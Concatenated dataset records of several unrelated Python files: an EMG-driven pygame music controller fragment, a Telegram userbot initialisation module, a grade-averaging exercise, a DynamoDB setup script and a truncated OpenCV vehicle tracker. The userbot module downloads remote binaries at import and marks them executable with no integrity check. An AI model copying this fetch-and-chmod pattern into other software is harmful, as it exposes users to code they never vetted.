range(len(pianoSoundList)):\r\n if keyboardHold[i] != True:\r\n pianoSoundList[i].stop()\r\n elif rleg_hold == True and rvar < thresholdMin: # release\r\n print(\"RR\")\r\n rleg_hold = False\r\n if lleg_hold == False and lvar > thresholdMax: # press\r\n print(\"LP\")\r\n lleg_hold = True\r\n elif lleg_hold == True and lvar < thresholdMin: # release\r\n lleg_hold = False\r\n print(\"LR\")\r\n drum.setTimer()\r\n stampCount += 1\r\n if stampCount > len(drumTempoList):\r\n stampCount = 0\r\n\r\n lleg_emg = list()\r\n rleg_emg = list()\r\n lleg_emg.append(int(data.split()[0][1:]))\r\n rleg_emg.append(int(data.split()[1]))\r\n\r\n if data[0] == \"p\":\r\n keyboardHold[int(data[1:])] = True\r\n pianoSoundList[12 - int(data[1:])].play()\r\n pianoSoundList[12 - int(data[1:])].set_volume(\r\n 0.5 + (max(strength) - 0.5) * 0.5\r\n )\r\n elif data[0] == \"r\":\r\n keyboardHold[int(data[1:])] = False\r\n\r\n while ser3.in_waiting:\r\n data_raw = ser3.readline()\r\n data = data_raw.decode()\r\n # print(data[0:len(data)-2])\r\n if data[0] == \"p\":\r\n keyboardHold[int(data[1:])] = True\r\n pianoSoundList[21 - int(data[1:])].play()\r\n pianoSoundList[21 - int(data[1:])].set_volume(\r\n 0.5 + (max(strength) - 0.5) * 0.5\r\n )\r\n\r\n elif data[0] == \"r\":\r\n keyboardHold[int(data[1:])] = False\r\n\r\n if playListIndex < len(playList):\r\n while playList[playListIndex][1] < pygame.time.get_ticks():\r\n if playList[playListIndex][2] == 0:\r\n drumSoundList[playList[playListIndex][0]].play()\r\n elif playList[playListIndex][2] == 1:\r\n chordSoundList[playList[playListIndex][0]].play()\r\n playListIndex += 1\r\n if playListIndex == len(playList):\r\n break\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n sys.exit()\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_a:\r\n drum.stampTempo()\r\n if event.key == pygame.K_s:\r\n drumSoundList[4].play()\r\n\r\n if event.key == pygame.K_KP1:\r\n pianoSoundList[7].play()\r\n if event.key == pygame.K_KP2:\r\n pianoSoundList[8].play()\r\n if event.key == pygame.K_KP3:\r\n pianoSoundList[9].play()\r\n if event.key == pygame.K_KP4:\r\n pianoSoundList[10].play()\r\n if event.key == pygame.K_KP5:\r\n pianoSoundList[11].play()\r\n if event.key == pygame.K_KP6:\r\n pianoSoundList[12].play()\r\n if event.key == pygame.K_KP7:\r\n pianoSoundList[13].play()\r\n if event.key == pygame.K_w:\r\n chord.playSplit(0)\r\n if event.key == pygame.K_e:\r\n chord.playSplit(1)\r\n if event.key == pygame.K_r:\r\n chord.playSplit(2)\r\n if event.key == pygame.K_t:\r\n chord.playSplit(3)\r\n\r\n for i in range(4):\r\n if touchPrePress[i] == False and touchNowPress[i] == True: # Button press\r\n chord.playSplit(i)\r\n for i in range(4):\r\n touchPrePress[i] = touchNowPress[i]\r\n\r\n clock.tick(40)\r\n# ser.close()\r\n","repo_name":"chinyi0523/Biolab","sub_path":"Final/musicSoftware.py","file_name":"musicSoftware.py","file_ext":"py","file_size_in_byte":8965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5468846975","text":"import os\nimport time\nimport re\n\nfrom sys import version_info\nfrom logging import basicConfig, getLogger, INFO, DEBUG\nfrom distutils.util import strtobool as sb\nfrom math import ceil\n\nfrom pathlib import Path\nfrom pylast import LastFMNetwork, md5\nfrom pySmartDL import SmartDL\nfrom pymongo import MongoClient\nfrom redis import StrictRedis\nfrom dotenv import load_dotenv\nfrom requests import get\nfrom telethon.sync import TelegramClient, custom, events\nfrom telethon.sessions import StringSession\n\nfrom .storage import Storage\n\nSTORAGE = (lambda n: Storage(Path(\"data\") / n))\n\nload_dotenv(\"config.env\")\n\n\nStartTime = time.time()\n\nCMD_LIST = {}\n# for later purposes\nCMD_HELP = {}\nINT_PLUG = \"\"\nLOAD_PLUG = {}\n\n# Bot Logs setup:\nCONSOLE_LOGGER_VERBOSE = sb(os.environ.get(\"CONSOLE_LOGGER_VERBOSE\", \"False\"))\n\nif CONSOLE_LOGGER_VERBOSE:\n basicConfig(\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n level=DEBUG,\n )\nelse:\n basicConfig(format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n level=INFO)\nLOGS = getLogger(__name__)\n\nif version_info[0] < 3 or version_info[1] < 8:\n LOGS.info(\"Anda HARUS memiliki versi python setidaknya 3.8.\"\n \"Beberapa fitur tergantung pada ini. Bot berhenti.\")\n quit(1)\n\n# Check if the config was edited by using the already used variable.\n# Basically, its the 'virginity check' for the config file ;)\nCONFIG_CHECK = os.environ.get(\n \"___________PLOX_______REMOVE_____THIS_____LINE__________\", None)\n\nif CONFIG_CHECK:\n LOGS.info(\n \"Please remove the line mentioned in the first hashtag from the config.env file\"\n )\n quit(1)\n\n#\nDEVS = 844432220, 1382636419, 1503268548, 1712874582, 1554491785,\nSUDO_USERS = {int(x) for x in os.environ.get(\"SUDO_USERS\", \"\").split()}\n\n# Telegram App KEY and HASH\nAPI_KEY = int(os.environ.get(\"API_KEY\") or 0)\nAPI_HASH = str(os.environ.get(\"API_HASH\") or None)\n\n# Userbot Session String\nSTRING_SESSION = os.environ.get(\"STRING_SESSION\", None)\n\n# Logging channel/group ID configuration.\nBOTLOG_CHATID = int(os.environ.get(\"BOTLOG_CHATID\", 0))\n\n# Userbot logging feature switch.\nBOTLOG = sb(os.environ.get(\"BOTLOG\", \"True\"))\nLOGSPAMMER = sb(os.environ.get(\"LOGSPAMMER\", \"True\"))\n\n# Bleep Blop, this is a bot ;)\nPM_AUTO_BAN = sb(os.environ.get(\"PM_AUTO_BAN\", \"False\"))\n\n# Heroku Credentials for updater.\nHEROKU_APP_NAME = os.environ.get(\"HEROKU_APP_NAME\", None)\nHEROKU_API_KEY = os.environ.get(\"HEROKU_API_KEY\", None)\n\n# JustWatch Country\nWATCH_COUNTRY = os.environ.get(\"WATCH_COUNTRY\", \"ID\")\n\n# Github Credentials for updater and Gitupload.\nGIT_REPO_NAME = os.environ.get(\"GIT_REPO_NAME\", None)\nGITHUB_ACCESS_TOKEN = os.environ.get(\"GITHUB_ACCESS_TOKEN\", None)\n\n# Custom (forked) repo URL for updater.\nUPSTREAM_REPO_URL = os.environ.get(\n \"UPSTREAM_REPO_URL\",\n \"https://github.com/tofikdn/Man-Userbot.git\")\nUPSTREAM_REPO_BRANCH = os.environ.get(\n \"UPSTREAM_REPO_BRANCH\", \"Man-Userbot\")\n\n# Console verbose logging\nCONSOLE_LOGGER_VERBOSE = sb(os.environ.get(\"CONSOLE_LOGGER_VERBOSE\", \"False\"))\n\n# SQL Database URI\nDB_URI = os.environ.get(\"DATABASE_URL\", None)\n\n# OCR API key\nOCR_SPACE_API_KEY = os.environ.get(\"OCR_SPACE_API_KEY\", None)\n\n# remove.bg API key\nREM_BG_API_KEY = os.environ.get(\"REM_BG_API_KEY\", None)\n\n# Chrome Driver and Headless Google Chrome Binaries\nCHROME_DRIVER = os.environ.get(\"CHROME_DRIVER\") or \"/usr/bin/chromedriver\"\nGOOGLE_CHROME_BIN = os.environ.get(\n \"GOOGLE_CHROME_BIN\") or \"/usr/bin/google-chrome\"\n\n# set to True if you want to log PMs to your BOTLOG_CHATID\nNC_LOG_P_M_S = bool(os.environ.get(\"NC_LOG_P_M_S\", \"False\"))\n\n# OpenWeatherMap API Key\nOPEN_WEATHER_MAP_APPID = os.environ.get(\"OPEN_WEATHER_MAP_APPID\", None)\nWEATHER_DEFCITY = os.environ.get(\"WEATHER_DEFCITY\", \"Jakarta\")\n\n# Lydia API\nLYDIA_API_KEY = os.environ.get(\"LYDIA_API_KEY\", None)\n\n# For MONGO based DataBase\nMONGO_URI = os.environ.get(\"MONGO_URI\", None)\n\n# set blacklist_chats where you do not want userbot's features\nUB_BLACK_LIST_CHAT = os.environ.get(\"UB_BLACK_LIST_CHAT\", None)\n\n# Anti Spambot Config\nANTI_SPAMBOT = sb(os.environ.get(\"ANTI_SPAMBOT\", \"False\"))\nANTI_SPAMBOT_SHOUT = sb(os.environ.get(\"ANTI_SPAMBOT_SHOUT\", \"False\"))\n\n# Youtube API key\nYOUTUBE_API_KEY = os.environ.get(\"YOUTUBE_API_KEY\", None)\n\n# untuk perintah teks costum .alive\nALIVE_TEKS_CUSTOM = os.environ.get(\n \"ALIVE_TEKS_CUSTOM\",\n \"Hey, I am alive.\")\n\n# Default .alive name\nALIVE_NAME = os.environ.get(\"ALIVE_NAME\", None)\n\n# Custom Emoji Alive\nALIVE_EMOJI = os.environ.get(\"ALIVE_EMOJI\", \"âš¡ï¸�\")\n\n# Custom icon HELP\nICON_HELP = os.environ.get(\"ICON_HELP\", \"â�‰\")\n\n# Time & Date - Country and Time Zone\nCOUNTRY = str(os.environ.get(\"COUNTRY\", \"ID\"))\nTZ_NUMBER = int(os.environ.get(\"TZ_NUMBER\", 1))\n\n# Clean Welcome\nCLEAN_WELCOME = sb(os.environ.get(\"CLEAN_WELCOME\", \"True\"))\n\n# Zipfile module\nZIP_DOWNLOAD_DIRECTORY = os.environ.get(\"ZIP_DOWNLOAD_DIRECTORY\", \"./zips\")\n\n# bit.ly module\nBITLY_TOKEN = os.environ.get(\"BITLY_TOKEN\", None)\n\n# Bot Name\nTERM_ALIAS = os.environ.get(\"TERM_ALIAS\", \"Man-Userbot\")\n\n# Bot version\nBOT_VER = os.environ.get(\"BOT_VER\", \"0.5.3\")\n\n# Default .alive username\nALIVE_USERNAME = os.environ.get(\"ALIVE_USERNAME\", None)\n\n# Sticker Custom Pack Name\nS_PACK_NAME = os.environ.get(\"S_PACK_NAME\", \"ini stikerku\")\n\n# Default .alive logo\nALIVE_LOGO = os.environ.get(\n \"ALIVE_LOGO\") or \"https://telegra.ph/file/9dc4e335feaaf6a214818.jpg\"\n\n# Last.fm Module\nBIO_PREFIX = os.environ.get(\"BIO_PREFIX\", None)\nDEFAULT_BIO = os.environ.get(\"DEFAULT_BIO\", None)\n\nLASTFM_API = os.environ.get(\"LASTFM_API\", None)\nLASTFM_SECRET = os.environ.get(\"LASTFM_SECRET\", None)\nLASTFM_USERNAME = os.environ.get(\"LASTFM_USERNAME\", None)\nLASTFM_PASSWORD_PLAIN = os.environ.get(\"LASTFM_PASSWORD\", None)\nLASTFM_PASS = md5(LASTFM_PASSWORD_PLAIN)\n\nlastfm = None\nif LASTFM_API and LASTFM_SECRET and LASTFM_USERNAME and LASTFM_PASS:\n try:\n lastfm = LastFMNetwork(\n api_key=LASTFM_API,\n api_secret=LASTFM_SECRET,\n username=LASTFM_USERNAME,\n password_hash=LASTFM_PASS,\n )\n except Exception:\n pass\n\n# Google Drive Module\nG_DRIVE_DATA = os.environ.get(\"G_DRIVE_DATA\", None)\nG_DRIVE_CLIENT_ID = os.environ.get(\"G_DRIVE_CLIENT_ID\", None)\nG_DRIVE_CLIENT_SECRET = os.environ.get(\"G_DRIVE_CLIENT_SECRET\", None)\nG_DRIVE_AUTH_TOKEN_DATA = os.environ.get(\"G_DRIVE_AUTH_TOKEN_DATA\", None)\nG_DRIVE_FOLDER_ID = os.environ.get(\"G_DRIVE_FOLDER_ID\", None)\nG_DRIVE_INDEX_URL = os.environ.get(\"G_DRIVE_INDEX_URL\", None)\n\nTEMP_DOWNLOAD_DIRECTORY = os.environ.get(\"TMP_DOWNLOAD_DIRECTORY\",\n \"./downloads\")\n# Google Photos\nG_PHOTOS_CLIENT_ID = os.environ.get(\"G_PHOTOS_CLIENT_ID\", None)\nG_PHOTOS_CLIENT_SECRET = os.environ.get(\"G_PHOTOS_CLIENT_SECRET\", None)\nG_PHOTOS_AUTH_TOKEN_ID = os.environ.get(\"G_PHOTOS_AUTH_TOKEN_ID\", None)\nif G_PHOTOS_AUTH_TOKEN_ID:\n G_PHOTOS_AUTH_TOKEN_ID = int(G_PHOTOS_AUTH_TOKEN_ID)\n\n# Genius lyrics API\nGENIUS = os.environ.get(\"GENIUS_ACCESS_TOKEN\", None)\n\n# Quotes API Token\nQUOTES_API_TOKEN = os.environ.get(\"QUOTES_API_TOKEN\", None)\n\n# Deezloader\nDEEZER_ARL_TOKEN = os.environ.get(\"DEEZER_ARL_TOKEN\", None)\n\n# Photo Chat - Get this value from http://antiddos.systems\nAPI_TOKEN = os.environ.get(\"API_TOKEN\", None)\nAPI_URL = os.environ.get(\"API_URL\", \"http://antiddos.systems\")\n\n# Inline bot helper\nBOT_TOKEN = os.environ.get(\"BOT_TOKEN\", None)\nBOT_USERNAME = os.environ.get(\"BOT_USERNAME\", None)\n\n# Init Mongo\nMONGOCLIENT = MongoClient(MONGO_URI, 27017, serverSelectionTimeoutMS=1)\nMONGO = MONGOCLIENT.userbot\n\n\ndef is_mongo_alive():\n try:\n MONGOCLIENT.server_info()\n except BaseException:\n return False\n return True\n\n\n# Init Redis\n# Redis will be hosted inside the docker container that hosts the bot\n# We need redis for just caching, so we just leave it to non-persistent\nREDIS = StrictRedis(host='localhost', port=6379, db=0)\n\n\ndef is_redis_alive():\n try:\n REDIS.ping()\n return True\n except BaseException:\n return False\n\n\n# Setting Up CloudMail.ru and MEGA.nz extractor binaries,\n# and giving them correct perms to work properly.\nif not os.path.exists('bin'):\n os.mkdir('bin')\n\nbinaries = {\n \"https://raw.githubusercontent.com/adekmaulana/megadown/master/megadown\":\n \"bin/megadown\",\n \"https://raw.githubusercontent.com/yshalsager/cmrudl.py/master/cmrudl.py\":\n \"bin/cmrudl\"\n}\n\nfor binary, path in binaries.items():\n downloader = SmartDL(binary, path, progress_bar=False)\n downloader.start()\n os.chmod(path, 0o755)\n\n\n# 'bot' variable\nif STRING_SESSION:\n # pylint: disable=invalid-name\n bot = TelegramClient(\n session=StringSession(STRING_SESSION),\n api_id=API_KEY,\n api_hash=API_HASH,\n auto_reconnect=True,\n connection_retries=-1,\n )\nelse:\n # pylint: disable=invalid-name\n bot = TelegramClient(\"userbot\", API_KEY, API_HASH)\n\n\nasync def check_botlog_chatid():\n if not BOTLOG_CHATID and LOGSPAMMER:\n LOGS.info(\n \"Anda harus menambahkan var BOTLOG_CHATID di config.env atau di var heroku, agar penyimpanan log error userbot pribadi berfungsi.\"\n )\n quit(1)\n\n elif not BOTLOG_CHATID and BOTLOG:\n LOGS.info(\n \"Anda harus menambahkan var BOTLOG_CHATID di config.env atau di var heroku, agar fitur logging userbot berfungsi.\"\n )\n quit(1)\n\n elif not BOTLOG or not LOGSPAMMER:\n return\n\n entity = await bot.get_entity(BOTLOG_CHATID)\n if entity.default_banned_rights.send_messages:\n LOGS.info(\n \"Akun Anda tidak bisa mengirim pesan ke BOTLOG_CHATID \"\n \"Periksa apakah Anda memasukan ID grup dengan benar.\")\n quit(1)\n\n\nwith bot:\n try:\n bot.loop.run_until_complete(check_botlog_chatid())\n except BaseException:\n LOGS.info(\n \"var BOTLOG_CHATID kamu belum di isi. \"\n \"Buatlah grup telegram dan masukan bot @MissRose_bot lalu ketik /id \"\n \"Masukan id grup nya di var BOTLOG_CHATID\")\n quit(1)\n\n\nasync def check_alive():\n await bot.send_message(BOTLOG_CHATID, \"```🔥 Man-Userbot Berhasil Di Aktifkan 🔥```\")\n return\n\nwith bot:\n try:\n bot.loop.run_until_complete(check_alive())\n except BaseException:\n LOGS.info(\n \"var BOTLOG_CHATID kamu belum di isi. \"\n \"Buatlah grup telegram dan masukan bot @MissRose_bot lalu ketik /id \"\n \"Masukan id grup nya di var BOTLOG_CHATID\")\n quit(1)\n\n# Global Variables\nCOUNT_MSG = 0\nUSERS = {}\nCOUNT_PM = {}\nENABLE_KILLME = True\nLASTMSG = {}\nCMD_HELP = {}\nISAFK = False\nAFKREASON = None\nZALG_LIST = {}\n\n\ndef paginate_help(page_number, loaded_modules, prefix):\n number_of_rows = 5\n number_of_cols = 4\n helpable_modules = [p for p in loaded_modules if not p.startswith(\"_\")]\n helpable_modules = sorted(helpable_modules)\n modules = [\n custom.Button.inline(\"{} {} ✘\".format(\"✘\", x), data=\"ub_modul_{}\".format(x))\n for x in helpable_modules\n ]\n pairs = list(zip(modules[::number_of_cols],\n modules[1::number_of_cols],\n modules[2::number_of_cols]))\n if len(modules) % number_of_cols == 1:\n pairs.append((modules[-1],))\n max_num_pages = ceil(len(pairs) / number_of_rows)\n modulo_page = page_number % max_num_pages\n if len(pairs) > number_of_rows:\n pairs = pairs[\n modulo_page * number_of_rows: number_of_rows * (modulo_page + 1)\n ] + [\n (\n custom.Button.inline(\n \"««\", data=\"{}_prev({})\".format(prefix, modulo_page)\n ),\n custom.Button.inline(\n 'Tutup', b'close'\n ),\n custom.Button.inline(\n \"»»\", data=\"{}_next({})\".format(prefix, modulo_page)\n )\n )\n ]\n return pairs\n\n\nwith bot:\n try:\n tgbot = TelegramClient(\n \"TG_BOT_TOKEN\",\n api_id=API_KEY,\n api_hash=API_HASH).start(\n bot_token=BOT_TOKEN)\n\n dugmeler = CMD_HELP\n me = bot.get_me()\n uid = me.id\n logo = ALIVE_LOGO\n\n @tgbot.on(events.NewMessage(pattern=\"/start\"))\n async def handler(event):\n await event.message.get_sender()\n text = (\n f\"**Hey**, __I am using__ 🔥 **Man-Userbot** 🔥\\n\\n\"\n f\" __Thanks For Using me__\\n\\n\"\n f\"✣ **Userbot Version :** `{BOT_VER}@{UPSTREAM_REPO_BRANCH}`\\n\"\n f\"✣ **Group Support :** [Sharing Userbot](t.me/sharinguserbot)\\n\"\n f\"✣ **Owner Repo :** [Risman](t.me/mrismanaziz)\\n\"\n f\"✣ **Repo :** [Man-Userbot](https://github.com/mrismanaziz/Man-Userbot)\\n\")\n await tgbot.send_file(event.chat_id, logo, caption=text,\n buttons=[\n [\n custom.Button.url(\n text=\"⛑ Group Support ⛑\",\n url=\"https://t.me/SharingUserbot\"\n )\n ]\n ]\n )\n\n @tgbot.on(events.InlineQuery) # pylint:disable=E0602\n async def inline_handler(event):\n builder = event.builder\n result = None\n query = event.text\n if event.query.user_id == uid and query.startswith(\"@UserButt\"):\n buttons = paginate_help(0, dugmeler, \"helpme\")\n result = builder.article(\n \"Harap Gunakan .help Untuk Perintah\",\n text=\"{}\\n\\n**✥ Jumlah Module Yang Tersedia :** `{}` **Module**\\n \\n**✥ Daftar Modul Man-Userbot :** \\n\".format(\n \"**✗ Man-Userbot Main Menu ✗**\",\n len(dugmeler),\n ),\n buttons=buttons,\n link_preview=False,\n )\n elif query.startswith(\"repo\"):\n result = builder.article(\n title=\"Repository\",\n description=\"Repository Man - Userbot\",\n url=\"https://t.me/SharingUserbot\",\n text=\"**Man - UserBot**\\nâž–âž–âž–âž–âž–âž–âž–âž–âž–âž–\\n✣ **Owner Repo :** [Risman](https://t.me/mrismanaziz)\\n✣ **Grup Support :** @SharingUserbot\\n✣ **Repository :** [Man-Userbot](https://github.com/mrismanaziz/Man-Userbot)\\nâž–âž–âž–âž–âž–âž–âž–âž–âž–âž–\",\n buttons=[\n [\n custom.Button.url(\n \"Support\",\n \"https://t.me/SharingUserbot\"),\n custom.Button.url(\n \"Repo\",\n \"https://github.com/mrismanaziz/Man-Userbot\")],\n ],\n link_preview=False)\n else:\n result = builder.article(\n title=\"✗ Man-Userbot ✗\",\n description=\"Man - UserBot | Telethon\",\n url=\"https://t.me/SharingUserbot\",\n text=\"**Man - UserBot**\\nâž–âž–âž–âž–âž–âž–âž–âž–âž–âž–\\n✣ **Owner Repo :** [Risman](https://t.me/mrismanaziz)\\n✣ **Grup Support :** @SharingUserbot\\n✣ **Repository :** [Man-Userbot](https://github.com/mrismanaziz/Man-Userbot)\\nâž–âž–âž–âž–âž–âž–âž–âž–âž–âž–\",\n buttons=[\n [\n custom.Button.url(\n \"Support\",\n \"https://t.me/SharingUserbot\"),\n custom.Button.url(\n \"Repo\",\n \"https://github.com/mrismanaziz/Man-Userbot\")],\n ],\n link_preview=False,\n )\n await event.answer([result] if result else None)\n\n @tgbot.on(\n events.callbackquery.CallbackQuery( # pylint:disable=E0602\n data=re.compile(rb\"helpme_next\\((.+?)\\)\")\n )\n )\n async def on_plug_in_callback_query_handler(event):\n if event.query.user_id == uid: # pylint:disable=E0602\n current_page_number = int(\n event.data_match.group(1).decode(\"UTF-8\"))\n buttons = paginate_help(\n current_page_number + 1, dugmeler, \"helpme\")\n # https://t.me/TelethonChat/115200\n await event.edit(buttons=buttons)\n else:\n reply_pop_up_alert = f\"Kamu Tidak diizinkan, ini Userbot Milik {ALIVE_NAME}\"\n await event.answer(reply_pop_up_alert, cache_time=0, alert=True)\n\n @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b\"close\")))\n async def on_plug_in_callback_query_handler(event):\n if event.query.user_id == uid:\n await event.edit(\"**Help Mode Button Ditutup!**\")\n else:\n reply_pop_up_alert = f\"Kamu Tidak diizinkan, ini Userbot Milik {ALIVE_NAME}\"\n await event.answer(reply_pop_up_alert, cache_time=0, alert=True)\n\n @tgbot.on(\n events.callbackquery.CallbackQuery( # pylint:disable=E0602\n data=re.compile(rb\"helpme_prev\\((.+?)\\)\")\n )\n )\n async def on_plug_in_callback_query_handler(event):\n if event.query.user_id == uid: # pylint:disable=E0602\n current_page_number = int(\n event.data_match.group(1).decode(\"UTF-8\"))\n buttons = paginate_help(\n current_page_number - 1, dugmeler, \"helpme\" # pylint:disable=E0602\n )\n # https://t.me/TelethonChat/115200\n await event.edit(buttons=buttons)\n else:\n reply_pop_up_alert = f\"Kamu Tidak diizinkan, ini Userbot Milik {ALIVE_NAME}\"\n await event.answer(reply_pop_up_alert, cache_time=0, alert=True)\n\n @tgbot.on(\n events.callbackquery.CallbackQuery( # pylint:disable=E0602\n data=re.compile(b\"ub_modul_(.*)\")\n )\n )\n async def on_plug_in_callback_query_handler(event):\n if event.query.user_id == uid: # pylint:disable=E0602\n modul_name = event.data_match.group(1).decode(\"UTF-8\")\n\n cmdhel = str(CMD_HELP[modul_name])\n if len(cmdhel) > 150:\n help_string = (\n str(CMD_HELP[modul_name]).replace('`', '')[:150] + \"...\"\n + \"\\n\\nBaca Teks Berikutnya Ketik .help \"\n + modul_name\n + \" \"\n )\n else:\n help_string = str(CMD_HELP[modul_name]).replace('`', '')\n\n reply_pop_up_alert = (\n help_string\n if help_string is not None\n else \"{} Tidak ada dokumen yang telah ditulis untuk modul.\".format(\n modul_name\n )\n )\n else:\n reply_pop_up_alert = f\"Kamu Tidak diizinkan, ini Userbot Milik {ALIVE_NAME}\"\n\n await event.answer(reply_pop_up_alert, cache_time=0, alert=True)\n\n except BaseException:\n LOGS.info(\n \"Help Mode Inline Bot Mu Tidak aktif. Tidak di aktifkan juga tidak apa-apa. \"\n \"Untuk Mengaktifkannya Buat bot di @BotFather Lalu Tambahkan var BOT_TOKEN dan BOT_USERNAME. \"\n \"Pergi Ke @BotFather lalu settings bot » Pilih mode inline » Turn On. \")\n try:\n bot.loop.run_until_complete(check_botlog_chatid())\n except BaseException:\n LOGS.info(\n \"var BOTLOG_CHATID kamu belum di isi. \"\n \"Buatlah grup telegram dan masukan bot @MissRose_bot lalu ketik /id \"\n \"Masukan id grup nya di var BOTLOG_CHATID\")\n quit(1)\n","repo_name":"RioProjectX/Userbot-Rio","sub_path":"userbot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":20454,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"27445388333","text":"# 03 - Faça um Programa que leia 4 notas, mostre as notas e a média na tela\n\nnotas = []\nnum_notas = 4\n\n# Digitacao das notas e guardando na lista\nfor i in range(num_notas):\n nota = int(input(\"Digite a nota \" + str(i+1) + \": \")) # um cast basico!\n notas.append(nota)\n\n# Somatoria das notas e aproveitando o \"for\" pra mostrar cada uma\ni = 1\nsoma_notas = 0\nfor nota in notas:\n #soma_notas = soma_notas + nota\n soma_notas += nota\n print(\"Nota\", i, \":\", nota)\n i += 1\n\n# Calculo da media\nmedia_notas = soma_notas / num_notas\n\n# Soma vem como debug ;)\nprint(\"Soma das notas :\", soma_notas)\nprint(\"Media das notas:\", media_notas)\n\n","repo_name":"amcorreia/grupo_estudo","sub_path":"codigos_teste/anax_221016_E03_4notas+media.py","file_name":"anax_221016_E03_4notas+media.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"25552895258","text":"import boto3\nimport os\n\ndynamodb = boto3.client(\"dynamodb\")\n\ntry:\n table_name = os.environ[\"DYNAMODB_TABLE\"]\n dynamodb.create_table(\n TableName=table_name,\n AttributeDefinitions=[\n {\"AttributeName\": \"PK\", \"AttributeType\": \"S\"},\n {\"AttributeName\": \"SK\", \"AttributeType\": \"S\"},\n ],\n KeySchema=[\n {\"AttributeName\": \"PK\", \"KeyType\": \"HASH\"},\n {\"AttributeName\": \"SK\", \"KeyType\": \"RANGE\"},\n ],\n GlobalSecondaryIndexes=[\n {\n \"IndexName\": \"InvertedIndex\",\n \"KeySchema\": [\n {\"AttributeName\": \"SK\", \"KeyType\": \"HASH\"},\n {\"AttributeName\": \"PK\", \"KeyType\": \"RANGE\"},\n ],\n \"Projection\": {\"ProjectionType\": \"ALL\"},\n }\n ],\n BillingMode=\"PAY_PER_REQUEST\",\n )\n print(f\"Table {table_name} created successfully.\")\nexcept Exception as e:\n print(\"Could not create table. Error:\")\n print(e)\n","repo_name":"DBeath/feedsearch-gateway","sub_path":"scripts/create_table.py","file_name":"create_table.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39149583708","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Dec 30 15:40:44 2018\r\n\r\n@author: wange\r\n\"\"\"\r\n\r\n\r\nimport cv2\r\nimport numpy as np\r\nfrom keras.preprocessing import image\r\nfrom keras.applications.vgg16 import preprocess_input\r\n\r\n\r\ntargetsize=128\r\n\r\n\r\nclass_names=['bus','car','truck']\r\n\r\n\r\ndef center(points):\r\n \"\"\"计算外接矩阵的中心\"\"\"\r\n x = (points[0][0] + points[1][0] + points[2][0] + points[3][0]) / 4\r\n y = (points[0][1] + points[1][1] + points[2][1] + points[3][1]) / 4\r\n return np.array([np.float32(x), np.float32(y)], np.float32)\r\n\r\nclass Vehicle:\r\n \"\"\"交通工具类\r\n 每个交通工具都有一个卡尔曼滤波器,用于追踪\r\n \"\"\"\r\n def __init__(self, id, frame, track_window):\r\n # 构建感兴趣区域ROI\r\n self.id = int(id)\r\n x, y, w, h = track_window\r\n self.track_window = track_window\r\n\r\n # 使用HSV颜色空间,可以使模型更好地专注于颜色\r\n # 在这里用户可以根据自己的需求使用不同的空间,例如RGB和BGR空间\r\n # 没有使用cv2.cvtColor函数直接提取ROI即使用BGR空间\r\n self.roi = cv2.cvtColor(frame[y:y + h, x:x + w], cv2.COLOR_BGR2HSV)\r\n # self.roi = cv2.cvtColor(frame[y:y + h, x:x + w], cv2.COLOR_BGR2RGB)\r\n # self.roi=frame[y:y + h, x:x + w]\r\n \r\n \r\n # 图像彩色直方图 16列直方图,每列直方图以0为左边界,18为右边界\r\n roi_hist = cv2.calcHist([self.roi], [0], None, [16], [0, 180]) \r\n # 直方图归一化到0~255范围内\r\n self.roi_hist = cv2.normalize(roi_hist, roi_hist, 0, 255, cv2.NORM_MINMAX) \r\n\r\n # 构建卡尔曼滤波器\r\n self.kalman = cv2.KalmanFilter(4, 2)\r\n self.kalman.measurementMatrix = np.array([[1, 0, 0, 0], [0, 1, 0, 0]], np.float32)\r\n self.kalman.transitionMatrix = np.array([[1, 0, 1, 0], [0, 1, 0, 1], [0, 0, 1, 0], [0, 0, 0, 1]], np.float32)\r\n self.kalman.processNoiseCov = np.array([[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]],\r\n np.float32) * 0.03\r\n self.measurement = np.array((2, 1), np.float32)\r\n self.prediction = np.zeros((2, 1), np.float32)\r\n self.term_crit = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 1)\r\n self.center = None\r\n self.update(frame)\r\n\r\n # 更新 行人行踪 的方法\r\n def update(self, frame):\r\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\r\n# hsv=frame\r\n back_project = cv2.calcBackProject([hsv], [0], self.roi_hist, [0, 180], 1)\r\n\r\n # 使用CamShift跟踪行人的行踪\r\n ret, self.track_window = cv2.CamShift(back_project, self.track_window, self.term_crit)\r\n# print(ret)\r\n pts = cv2.boxPoints(ret)\r\n pts = np.int0(pts)\r\n self.center = center(pts)\r\n cv2.polylines(frame, [pts], True, 255, 1)\r\n\r\n # 根据行人的的实际位置 矫正卡尔曼滤波器\r\n self.kalman.correct(self.center)\r\n prediction = self.kalman.predict()\r\n cv2.circle(frame, (int(prediction[0]), int(prediction[1])), 4, (255, 0, 0), -1)\r\n\r\n\r\n# 读取视频\r\n#camera = cv2.VideoCapture(\"D:/data_set/Highway/video1.avi\")\r\n#camera = cv2.VideoCapture(\"D:/BaiduNetdiskDownload/20180809125000.mp4\")\r\n#camera = cv2.VideoCapture('D:/20180809125000.mp4')\r\ncamera = cv2.VideoCapture('D:/BaiduNetdiskDownload/20180809125000~2.mp4')\r\n#camera=cv2.VideoCapture('/root/yolo_c++/darknet/data/test.mp4')\r\nhistory = 5\r\n\r\n# 用BackgroundSubtractorKNN构建背景模型\r\n#bs = 